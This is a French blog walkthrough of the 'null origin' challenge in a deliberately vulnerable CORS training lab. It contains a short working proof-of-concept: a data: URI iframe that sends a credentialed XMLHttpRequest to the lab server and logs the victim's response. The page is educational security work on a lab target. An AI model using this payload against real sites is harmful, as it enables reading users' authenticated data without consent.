Cybersecurity
  • Mon Blog
    • 🏠Home
    • 📩Archives
      • 2024
      • 2023
      • 2022
    • 📂CatĂ©gories
    • 📧A propos de moi
  • Mes projets
    • Livres / publications
      • SĂ©curitĂ© des applications web - StratĂ©gies offensives et dĂ©fensives
    • MyExpense
    • XSS Exploitation Tool
  • Mes Articles
    • 2025
      • Mars
        • Comment les requĂȘtes prĂ©parĂ©es (prepared statement) protĂšgent-elles contre les injections SQL ?
      • Janvier
        • XSS Exploitation Tool v0.7.0
    • 2024
      • DĂ©cembre
        • XSS Exploitation Tool v0.6.0
      • Septembre
        • MyExpense v1.4
      • Aout
        • XSS Exploitation Tool v0.5.0
        • Exploitation des injections SQL au sein de la clause ORDER BY
      • Juin
        • Parution de mon livre, SĂ©curitĂ© des applications web - StratĂ©gies offensives et dĂ©fensives
      • Mai
        • Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
        • Dompurify 3.0.9 bypass - Node type confusion
      • Avril
        • Bypass de validation d'URL et embedded credentials cĂŽtĂ© front
      • Mars
        • MyExpense v1.3
    • 2023
      • Mai
        • MyExpense v1.2
      • Mars
        • MyExpense v1.1
        • Fonctionnement de l'entĂȘte X-Content-Type-Options - Contournement de CSP
      • FĂ©vrier
        • Fonctionnement de l'entĂȘte HTTP Strict Transport Security Header (HSTS)
    • 2022
      • DĂ©cembre
        • Les injections CSS - RĂšgle @import
        • Les injections CSS - Scroll-to-Text Fragment
      • Novembre
        • Les injections CSS - Attribute Selector
        • Les injections CSS - RĂšgle @font-face et descripteur unicode
      • Octobre
        • XSS Exploitation Tool v0.4.0
      • Septembre
        • Cross-Site Scripting (XSS) et schĂ©ma d'URI javascript
      • Juillet
        • SAST - PHP CodeSniffer orientĂ© sĂ©curitĂ© dans Visual Studio (sous Windows)
        • SAST - PHP CodeSniffer orientĂ© sĂ©curitĂ© dans Visual Studio (sous Debian)
        • Est-il possible de contourner la fonction PHP htmlspecialchars() ?
  • Common Vulnerabilities and Exposures (CVE)
    • 2024
      • CVE-2024-29415
    • 2023
      • CVE-2023-42282
    • 2022
      • CVE-2022-33910
      • CVE-2022-32444
      • CVE-2022-32442
    • 2020
      • CVE-2020-26311
  • Livres
    • 2023
      • Attacking and Exploiting Modern Web Applications
      • DevSecOps - DĂ©veloppez et administrez vos services en toute sĂ©curitĂ©
    • 2022
      • Hacking APIs - Breaking Web Application Programming Interfaces
    • 2018
      • Practical Web Penetration Testing
      • Web Hacking 101: How to Make Money Hacking Ethically
  • Walkthroughs
    • Capture The Flag
      • Hack.lu CTF 2019
        • Nucular Power Plant
      • TAMUctf 2019
        • 1337 Secur1ty
        • Bird Box Challenge
        • Science!
    • Deliberately Vulnerable
      • CORS vulnerable Lab
        • Application Trust Arbritrary Origin
        • Application has bad "regex" Implementation to check Trusted Origin
        • Application Trust "null" Origin
      • Damn Vulnerable Web Application (DVWA)
        • Brute Force
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Command Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSRF
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Inclusion
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Upload
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Insecure CAPTCHA
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection (Blind)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Weak Session IDs
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (DOM)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Reflected)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Stored)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSP Bypass
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Javascript
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
      • Unescape() room
        • Level 1 (practice)
        • Level 2 (practice)
        • Level 3 (practice)
        • Level 4 (practice)
        • Level 5 (practice)
        • Level 6 (practice)
        • Level 7 (practice)
        • Level 8 (practice)
        • Level 9 (practice)
        • Level 10 (practice)
      • VulnHub
        • GoatseLinux: 1
        • Hackademic: RTB1
        • Hackademic: RTB2
        • Holynix: v1
        • Holynix: v2
        • Kioptrix: Level 1 (#1)
        • Kioptrix: Level 1.1 (#2)
        • Kioptrix: Level 1.2 (#3)
        • Kioptrix: Level 1.3 (#4)
        • LAMPSecurity: CTF4
        • LAMPSecurity: CTF5
        • LAMPSecurity: CTF6
        • Metasploitable: 1
        • pWnOS 1.0
        • pWnOS 2.0 (Pre-Release)
      • XSS Vulnerability Challenges
        • xss1
        • xss2
        • xss3
        • xss4
        • xss5
        • xxs6
        • xss7
        • xss8
Propulsé par GitBook
Sur cette page
  1. Walkthroughs
  2. Deliberately Vulnerable
  3. CORS vulnerable Lab

Application Trust "null" Origin

PrécédentApplication has bad "regex" Implementation to check Trusted OriginSuivantDamn Vulnerable Web Application (DVWA)

DerniĂšre mise Ă  jour il y a 2 ans

Le dernier challenge est un peu plus difficile puisque le serveur n'accepte plus que les requĂȘtes provenant d'une origine null :

La solution pour avoir un entĂȘte Origin possĂ©dant une valeur null est d'utiliser une iframe comme ceci :

<html>
  <head>
    <title>CORS vulnerable lab - Null Origin</title>
  </head>

  <body>
    <iframe src="data:text/html,
      <script>
        var xhr=new XMLHttpRequest();
        xhr.open('GET', 'http://192.168.56.184/null_origin.php', true);
        xhr.withCredentials = true;
        xhr.onreadystatechange = function() {
          if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
            console.log(xhr.response);
          }}; 
        xhr.send();
      </script>">
    </iframe>
  </body>
</html>

La réponse s'affiche bien dans la console lors de la visite de la victime :

En ce qui concerne la requĂȘte/rĂ©ponse, voici les valeur des diffĂ©rents entĂȘtes :